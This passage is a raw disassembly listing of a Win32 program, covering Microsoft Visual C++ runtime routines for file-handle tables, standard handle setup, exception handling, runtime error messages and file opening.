[eax], bx jnz short loc_41F4FB loc_41F509: ; CODE XREF: ___:0041F4F9j sub eax, esi mov edi, dword_424150 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_41F55A push ebp call sub_417B89 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_41F55A push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_41F556 push dword ptr [esp+10h] call sub_417C3B pop ecx mov [esp+10h], ebx loc_41F556: ; CODE XREF: ___:0041F546j mov ebx, [esp+10h] loc_41F55A: ; CODE XREF: ___:0041F526j ; ___:0041F535j push esi nop call near ptr 25D0E75h mov eax, ebx jmp short loc_41F5B8 ; --------------------------------------------------------------------------- loc_41F565: ; CODE XREF: ___:0041F4DEj cmp eax, 2 jnz short loc_41F5B6 loc_41F56A: ; CODE XREF: ___:0041F4D6j cmp edi, ebx jnz short loc_41F57A nop call near ptr 25D0B38h mov edi, eax cmp edi, ebx jz short loc_41F5B6 loc_41F57A: ; CODE XREF: ___:0041F56Cj cmp [edi], bl mov eax, edi jz short loc_41F58A loc_41F580: ; CODE XREF: ___:0041F583j ; ___:0041F588j inc eax cmp [eax], bl jnz short loc_41F580 inc eax cmp [eax], bl jnz short loc_41F580 loc_41F58A: ; CODE XREF: ___:0041F57Ej sub eax, edi inc eax mov ebp, eax push ebp call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_41F5A0 xor esi, esi jmp short loc_41F5AB ; --------------------------------------------------------------------------- loc_41F5A0: ; CODE XREF: ___:0041F59Aj push ebp push edi push esi call sub_417390 add esp, 0Ch loc_41F5AB: ; CODE XREF: ___:0041F59Ej push edi nop call near ptr 25E0000h mov eax, esi jmp short loc_41F5B8 ; --------------------------------------------------------------------------- loc_41F5B6: ; CODE XREF: ___:0041F4C6j ; ___:0041F4EEj ... xor eax, eax loc_41F5B8: ; CODE XREF: ___:0041F563j ; ___:0041F5B4j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_417B89 mov esi, eax pop ecx test esi, esi jnz short loc_41F5DF push 1Bh call sub_419CDA pop ecx loc_41F5DF: ; CODE XREF: ___:0041F5D5j mov dword_48B340, esi mov dword_48B440, 20h lea eax, [esi+100h] loc_41F5F5: ; CODE XREF: ___:0041F611j cmp esi, eax jnb short loc_41F613 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_48B340 add esi, 8 add eax, 100h jmp short loc_41F5F5 ; --------------------------------------------------------------------------- loc_41F613: ; CODE XREF: ___:0041F5F7j lea eax, [esp+10h] push eax nop call near ptr 2810000h cmp word ptr [esp+42h], 0 jz loc_41F6EF mov eax, [esp+44h] test eax, eax jz loc_41F6EF mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_41F649 mov esi, eax loc_41F649: ; CODE XREF: ___:0041F645j cmp dword_48B440, esi jge short loc_41F6A3 mov edi, offset dword_48B344 loc_41F656: ; CODE XREF: ___:0041F699j push 100h call sub_417B89 test eax, eax pop ecx jz short loc_41F69D add dword_48B440, 20h mov [edi], eax lea ecx, [eax+100h] loc_41F674: ; CODE XREF: ___:0041F68Ej cmp eax, ecx jnb short loc_41F690 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41F674 ; --------------------------------------------------------------------------- loc_41F690: ; CODE XREF: ___:0041F676j add edi, 4 cmp dword_48B440, esi jl short loc_41F656 jmp short loc_41F6A3 ; --------------------------------------------------------------------------- loc_41F69D: ; CODE XREF: ___:0041F663j mov esi, dword_48B440 loc_41F6A3: ; CODE XREF: ___:0041F64Fj ; ___:0041F69Bj xor edi, edi test esi, esi jle short loc_41F6EF loc_41F6A9: ; CODE XREF: ___:0041F6EDj mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41F6E6 mov cl, [ebp+0] test cl, 1 jz short loc_41F6E6 test cl, 8 jnz short loc_41F6C8 push eax nop call near ptr 25D0000h test eax, eax jz short loc_41F6E6 loc_41F6C8: ; CODE XREF: ___:0041F6BBj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_48B340[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41F6E6: ; CODE XREF: ___:0041F6AEj ; ___:0041F6B6j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41F6A9 loc_41F6EF: ; CODE XREF: ___:0041F624j ; ___:0041F630j ... xor ebx, ebx loc_41F6F1: ; CODE XREF: ___:0041F754j mov eax, dword_48B340 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_41F74C test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41F70C push 0FFFFFFF6h pop eax jmp short loc_41F716 ; --------------------------------------------------------------------------- loc_41F70C: ; CODE XREF: ___:0041F705j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41F716: ; CODE XREF: ___:0041F70Aj push eax nop call near ptr 25D08DEh mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41F73B push edi nop call near ptr 25D0000h test eax, eax jz short loc_41F73B and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_41F741 loc_41F73B: ; CODE XREF: ___:0041F722j ; ___:0041F72Dj or byte ptr [esi+4], 40h jmp short loc_41F750 ; --------------------------------------------------------------------------- loc_41F741: ; CODE XREF: ___:0041F739j cmp eax, 3 jnz short loc_41F750 or byte ptr [esi+4], 8 jmp short loc_41F750 ; --------------------------------------------------------------------------- loc_41F74C: ; CODE XREF: ___:0041F6FDj or byte ptr [esi+4], 80h loc_41F750: ; CODE XREF: ___:0041F73Fj ; ___:0041F744j ... inc ebx cmp ebx, 3 jl short loc_41F6F1 push dword_48B440 nop call near ptr 25D0A9Ah pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F774 proc near ; DATA XREF: sub_41CFF1+Ao ; sub_41D120+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41F814 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41F7A7: ; CODE XREF: sub_41F774+90j cmp esi, 0FFFFFFFFh jz short loc_41F80D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41F7FB push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41F7FB js short loc_41F806 mov edi, [ebx+8] push ebx call sub_4181A0 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4181E2 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_418276 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41F7FB: ; CODE XREF: sub_41F774+40j ; sub_41F774+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41F7A7 ; --------------------------------------------------------------------------- loc_41F806: ; CODE XREF: sub_41F774+54j mov eax, 0 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F80D: ; CODE XREF: sub_41F774+36j mov eax, 1 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F814: ; CODE XREF: sub_41F774+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4181E2 add esp, 8 pop ebp mov eax, 1 loc_41F829: ; CODE XREF: sub_41F774+97j ; sub_41F774+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F774 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4181E2 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41F84C proc near ; CODE XREF: sub_419CDA+9p mov eax, dword_48A068 cmp eax, 1 jz short loc_41F863 test eax, eax jnz short locret_41F884 cmp dword_439594, 1 jnz short locret_41F884 loc_41F863: ; CODE XREF: sub_41F84C+8j push 0FCh call sub_41F885 mov eax, dword_48A1D4 pop ecx test eax, eax jz short loc_41F879 call eax loc_41F879: ; CODE XREF: sub_41F84C+29j push 0FFh call sub_41F885 pop ecx locret_41F884: ; CODE XREF: sub_41F84C+Cj ; sub_41F84C+15j retn sub_41F84C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F885 proc near ; CODE XREF: sub_419CDA+12p ; sub_41F84C+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43BC28 loc_41F898: ; CODE XREF: sub_41F885+20j cmp edx, [eax] jz short loc_41F8A7 add eax, 8 inc ecx cmp eax, offset off_43BCB8 jl short loc_41F898 loc_41F8A7: ; CODE XREF: sub_41F885+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43BC28[esi] jnz loc_41F9D5 mov eax, dword_48A068 cmp eax, 1 jz loc_41F9AF test eax, eax jnz short loc_41F8D8 cmp dword_439594, 1 jz loc_41F9AF loc_41F8D8: ; CODE XREF: sub_41F885+44j cmp edx, 0FCh jz loc_41F9D5 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2640000h test eax, eax jnz short loc_41F90F lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_4179C0 pop ecx pop ecx loc_41F90F: ; CODE XREF: sub_41F885+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_417AB0 inc eax pop ecx cmp eax, 3Ch jbe short loc_41F952 lea eax, [ebp+var_1A4] push eax call sub_417AB0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_418C10 add esp, 10h loc_41F952: ; CODE XREF: sub_41F885+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_4179C0 lea eax, [ebp+var_A0] push edi push eax call sub_4179D0 lea eax, [ebp+var_A0] push offset asc_424BA8 ; "\n\n" push eax call sub_4179D0 push off_43BC2C[esi] lea eax, [ebp+var_A0] push eax call sub_4179D0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_42105F add esp, 2Ch pop edi jmp short loc_41F9D5 ; --------------------------------------------------------------------------- loc_41F9AF: ; CODE XREF: sub_41F885+3Cj ; sub_41F885+4Dj lea eax, [ebp+arg_0] lea esi, off_43BC2C[esi] push 0 push eax push dword ptr [esi] call sub_417AB0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 25D08DEh push eax nop call near ptr 2620000h loc_41F9D5: ; CODE XREF: sub_41F885+2Ej ; sub_41F885+59j ... pop esi leave retn sub_41F885 endp ; =============== S U B R O U T I N E ======================================= sub_41F9D8 proc near ; CODE XREF: sub_419D23+6Cp ; sub_41E248+32p ... arg_0 = dword ptr 4 inc dword_48A1D8 push 1000h call sub_417B89 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_41FA01 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41FA12 ; --------------------------------------------------------------------------- loc_41FA01: ; CODE XREF: sub_41F9D8+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41FA12: ; CODE XREF: sub_41F9D8+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41F9D8 endp ; =============== S U B R O U T I N E ======================================= sub_41FA1C proc near ; CODE XREF: sub_419D23+61p ; sub_41A8A2+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_48B440 jb short loc_41FA2B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41FA2B: ; CODE XREF: sub_41FA1C+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_48B340[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41FA1C endp ; =============== S U B R O U T I N E ======================================= sub_41FA42 proc near ; DATA XREF: ___:00426020o mov eax, dword_48B320 push esi push 14h test eax, eax pop esi jnz short loc_41FA56 mov eax, 200h jmp short loc_41FA5C ; --------------------------------------------------------------------------- loc_41FA56: ; CODE XREF: sub_41FA42+Bj cmp eax, esi jge short loc_41FA61 mov eax, esi loc_41FA5C: ; CODE XREF: sub_41FA42+12j mov dword_48B320, eax loc_41FA61: ; CODE XREF: sub_41FA42+16j push 4 push eax call sub_4210E8 pop ecx mov dword_48A310, eax test eax, eax pop ecx jnz short loc_41FA95 push 4 push esi mov dword_48B320, esi call sub_4210E8 pop ecx mov dword_48A310, eax test eax, eax pop ecx jnz short loc_41FA95 push 1Ah call sub_419CDA pop ecx loc_41FA95: ; CODE XREF: sub_41FA42+30j ; sub_41FA42+49j xor ecx, ecx mov eax, offset off_43BCB8 loc_41FA9C: ; CODE XREF: sub_41FA42+6Ej mov edx, dword_48A310 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43BF38 jl short loc_41FA9C xor edx, edx mov ecx, offset dword_43BCC8 loc_41FAB9: ; CODE XREF: sub_41FA42+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_48B340[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41FAD6 test eax, eax jnz short loc_41FAD9 loc_41FAD6: ; CODE XREF: sub_41FA42+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_41FAD9: ; CODE XREF: sub_41FA42+92j add ecx, 20h inc edx cmp ecx, offset dword_43BD28 jl short loc_41FAB9 pop esi retn sub_41FA42 endp ; =============== S U B R O U T I N E ======================================= sub_41FAE7 proc near ; DATA XREF: ___:00426030o ; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES call sub_41A82C cmp byte_48A054, 0 jz short locret_41FAFA jmp loc_421199 ; --------------------------------------------------------------------------- locret_41FAFA: ; CODE XREF: sub_41FAE7+Cj retn sub_41FAE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FAFB proc near ; CODE XREF: sub_419E38+2D4p ; sub_419E38+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41FB07 pop ebp retn ; --------------------------------------------------------------------------- loc_41FB07: ; CODE XREF: sub_41FAFB+8j cmp dword_48A0A8, 0 jnz short loc_41FB22 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_41FB54 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41FB22: ; CODE XREF: sub_41FAFB+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_4397AC push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_48A0B8 nop call near ptr 2790000h test eax, eax jz short loc_41FB54 cmp [ebp+arg_0], 0 jz short loc_41FB61 loc_41FB54: ; CODE XREF: sub_41FAFB+1Ej ; sub_41FAFB+51j mov dword_48A014, 2Ah or eax, 0FFFFFFFFh loc_41FB61: ; CODE XREF: sub_41FAFB+57j pop ebp retn sub_41FAFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FB63 proc near ; CODE XREF: sub_41A642+5Ep ; sub_41EB6C+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424BE8 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_48A1DC xor ebx, ebx cmp eax, ebx jnz short loc_41FBD2 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4248D8 push esi nop call near ptr 25C0000h test eax, eax jz short loc_41FBB0 mov eax, esi jmp short loc_41FBCD ; --------------------------------------------------------------------------- loc_41FBB0: ; CODE XREF: sub_41FB63+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_43C824 push esi push ebx call near ptr 25C0792h nop test eax, eax jz loc_41FC98 push 2 pop eax loc_41FBCD: ; CODE XREF: sub_41FB63+4Bj mov dword_48A1DC, eax loc_41FBD2: ; CODE XREF: sub_41FB63+2Fj cmp eax, 2 jnz short loc_41FBFB mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_41FBE3 mov eax, dword_48A0A8 loc_41FBE3: ; CODE XREF: sub_41FB63+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call near ptr 25C0792h nop jmp loc_41FC9A ; --------------------------------------------------------------------------- loc_41FBFB: ; CODE XREF: sub_41FB63+72j cmp eax, 1 jnz loc_41FC98 cmp [ebp+arg_10], ebx jnz short loc_41FC11 mov eax, dword_48A0B8 mov [ebp+arg_10], eax loc_41FC11: ; CODE XREF: sub_41FB63+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call near ptr 2610000h nop mov [ebp+var_20], eax cmp eax, ebx jz short loc_41FC98 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_417330 add esp, 0Ch jmp short loc_41FC67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_41FC67: ; CODE XREF: sub_41FB63+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_41FC98 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2610000h cmp eax, ebx jz short loc_41FC98 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call near ptr 25C0000h nop jmp short loc_41FC9A ; --------------------------------------------------------------------------- loc_41FC98: ; CODE XREF: sub_41FB63+61j ; sub_41FB63+9Bj ... xor eax, eax loc_41FC9A: ; CODE XREF: sub_41FB63+93j ; sub_41FB63+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41FB63 endp ; =============== S U B R O U T I N E ======================================= sub_41FCAC proc near ; CODE XREF: sub_41FEC6:loc_42003Ep push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_48B340 loc_41FCBB: ; CODE XREF: sub_41FCAC+48j mov eax, [ecx] test eax, eax jz short loc_41FCF8 lea edx, [eax+100h] loc_41FCC7: ; CODE XREF: sub_41FCAC+28j cmp eax, edx jnb short loc_41FCE7 test byte ptr [eax+4], 1 jz short loc_41FCD6 add eax, 8 jmp short loc_41FCC7 ; --------------------------------------------------------------------------- loc_41FCD6: ; CODE XREF: sub_41FCAC+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41FD3B loc_41FCE7: ; CODE XREF: sub_41FCAC+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_48B440 jl short loc_41FCBB jmp short loc_41FD3B ; --------------------------------------------------------------------------- loc_41FCF8: ; CODE XREF: sub_41FCAC+13j mov esi, 100h push esi call sub_417B89 test eax, eax pop ecx jz short loc_41FD3B add dword_48B440, 20h lea ecx, ds:48B340h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41FD1E: ; CODE XREF: sub_41FCAC+88j cmp eax, edx jnb short loc_41FD36 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41FD1E ; --------------------------------------------------------------------------- loc_41FD36: ; CODE XREF: sub_41FCAC+74j shl edi, 5 mov ebx, edi loc_41FD3B: ; CODE XREF: sub_41FCAC+39j ; sub_41FCAC+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41FCAC endp ; =============== S U B R O U T I N E ======================================= sub_41FD41 proc near ; CODE XREF: sub_41FEC6+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_48B440 push edi jnb short loc_41FDA1 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:48B340h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_41FDA1 cmp dword_439594, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41FD97 sub eax, 0 jz short loc_41FD8E dec eax jz short loc_41FD89 dec eax jnz short loc_41FD97 push ebx push 0FFFFFFF4h jmp short loc_41FD91 ; --------------------------------------------------------------------------- loc_41FD89: ; CODE XREF: sub_41FD41+3Ej push ebx push 0FFFFFFF5h jmp short loc_41FD91 ; --------------------------------------------------------------------------- loc_41FD8E: ; CODE XREF: sub_41FD41+3Bj push ebx push 0FFFFFFF6h loc_41FD91: ; CODE XREF: sub_41FD41+46j ; sub_41FD41+4Bj nop call near ptr 25B0B69h loc_41FD97: ; CODE XREF: sub_41FD41+36j ; sub_41FD41+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_41FDB5 ; --------------------------------------------------------------------------- loc_41FDA1: ; CODE XREF: sub_41FD41+Cj ; sub_41FD41+28j and dword_48A018, 0 mov dword_48A014, 9 or eax, 0FFFFFFFFh loc_41FDB5: ; CODE XREF: sub_41FD41+5Ej pop edi pop esi retn sub_41FD41 endp ; =============== S U B R O U T I N E ======================================= sub_41FDB8 proc near ; CODE XREF: sub_41A6B7+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_48B440 push edi jnb short loc_41FE1B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:48B340h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41FE1B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41FE1B cmp dword_439594, 1 jnz short loc_41FE11 xor eax, eax sub ecx, eax jz short loc_41FE08 dec ecx jz short loc_41FE03 dec ecx jnz short loc_41FE11 push eax push 0FFFFFFF4h jmp short loc_41FE0B ; --------------------------------------------------------------------------- loc_41FE03: ; CODE XREF: sub_41FDB8+41j push eax push 0FFFFFFF5h jmp short loc_41FE0B ; --------------------------------------------------------------------------- loc_41FE08: ; CODE XREF: sub_41FDB8+3Ej push eax push 0FFFFFFF6h loc_41FE0B: ; CODE XREF: sub_41FDB8+49j ; sub_41FDB8+4Ej nop call near ptr 25B0B69h loc_41FE11: ; CODE XREF: sub_41FDB8+38j ; sub_41FDB8+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_41FE2F ; --------------------------------------------------------------------------- loc_41FE1B: ; CODE XREF: sub_41FDB8+Cj ; sub_41FDB8+2Aj ... and dword_48A018, 0 mov dword_48A014, 9 or eax, 0FFFFFFFFh loc_41FE2F: ; CODE XREF: sub_41FDB8+61j pop edi pop esi retn sub_41FDB8 endp ; =============== S U B R O U T I N E ======================================= sub_41FE32 proc near ; CODE XREF: sub_41A6B7+32p ; sub_41A6B7+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_48B440 jnb short loc_41FE5A mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_48B340[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41FE5A mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41FE5A: ; CODE XREF: sub_41FE32+Aj ; sub_41FE32+23j and dword_48A018, 0 mov dword_48A014, 9 or eax, 0FFFFFFFFh retn sub_41FE32 endp ; =============== S U B R O U T I N E ======================================= sub_41FE6F proc near ; CODE XREF: sub_41A795+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_48B440 jnb short loc_41FEB8 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_48B340[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41FEB8 push eax call sub_41FE32 pop ecx push eax nop call near ptr 25B0575h test eax, eax jnz short loc_41FEAD call near ptr 2630313h nop jmp short loc_41FEAF ; --------------------------------------------------------------------------- loc_41FEAD: ; CODE XREF: sub_41FE6F+34j xor eax, eax loc_41FEAF: ; CODE XREF: sub_41FE6F+3Cj test eax, eax jz short locret_41FEC5 mov dword_48A018, eax loc_41FEB8: ; CODE XREF: sub_41FE6F+Aj ; sub_41FE6F+22j mov dword_48A014, 9 or eax, 0FFFFFFFFh locret_41FEC5: ; CODE XREF: sub_41FE6F+42j retn sub_41FE6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEC6 proc near ; CODE XREF: sub_41A96C+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41FEEC mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41FEF7 ; --------------------------------------------------------------------------- loc_41FEEC: ; CODE XREF: sub_41FEC6+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41FEF7: ; CODE XREF: sub_41FEC6+24j mov eax, 8000h test ecx, eax jnz short loc_41FF11 test ch, 40h jnz short loc_41FF0D cmp dword_48A2E8, eax jz short loc_41FF11 loc_41FF0D: ; CODE XREF: sub_41FEC6+3Dj or [ebp+var_1], 80h loc_41FF11: ; CODE XREF: sub_41FEC6+38j ; sub_41FEC6+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41FF49 dec eax jz short loc_41FF40 dec eax jz short loc_41FF37 loc_41FF22: ; CODE XREF: sub_41FEC6+9Fj ; sub_41FEC6+E8j ... mov dword_48A014, 16h mov dword_48A018, ebx jmp loc_42015C ; --------------------------------------------------------------------------- loc_41FF37: ; CODE XREF: sub_41FEC6+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_41FF50 ; --------------------------------------------------------------------------- loc_41FF40: ; CODE XREF: sub_41FEC6+57j mov [ebp+var_C], 40000000h jmp short loc_41FF50 ; --------------------------------------------------------------------------- loc_41FF49: ; CODE XREF: sub_41FEC6+54j mov [ebp+var_C], 80000000h loc_41FF50: ; CODE XREF: sub_41FEC6+78j ; sub_41FEC6+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41FF7E cmp eax, 20h jz short loc_41FF75 cmp eax, 30h jz short loc_41FF6C cmp eax, 40h jnz short loc_41FF22 mov [ebp+var_10], esi jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF6C: ; CODE XREF: sub_41FEC6+9Aj mov [ebp+var_10], 2 jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF75: ; CODE XREF: sub_41FEC6+95j mov [ebp+var_10], 1 jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF7E: ; CODE XREF: sub_41FEC6+90j mov [ebp+var_10], ebx loc_41FF81: ; CODE XREF: sub_41FEC6+A4j ; sub_41FEC6+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41FFCB jz short loc_41FFC6 cmp ecx, ebx jz short loc_41FFC6 cmp ecx, edi jz short loc_41FFBD cmp ecx, 200h jz short loc_41FFE4 cmp ecx, 300h jnz loc_41FF22 mov [ebp+var_8], 2 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFBD: ; CODE XREF: sub_41FEC6+D8j mov [ebp+var_8], 4 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFC6: ; CODE XREF: sub_41FEC6+D0j ; sub_41FEC6+D4j mov [ebp+var_8], esi jmp 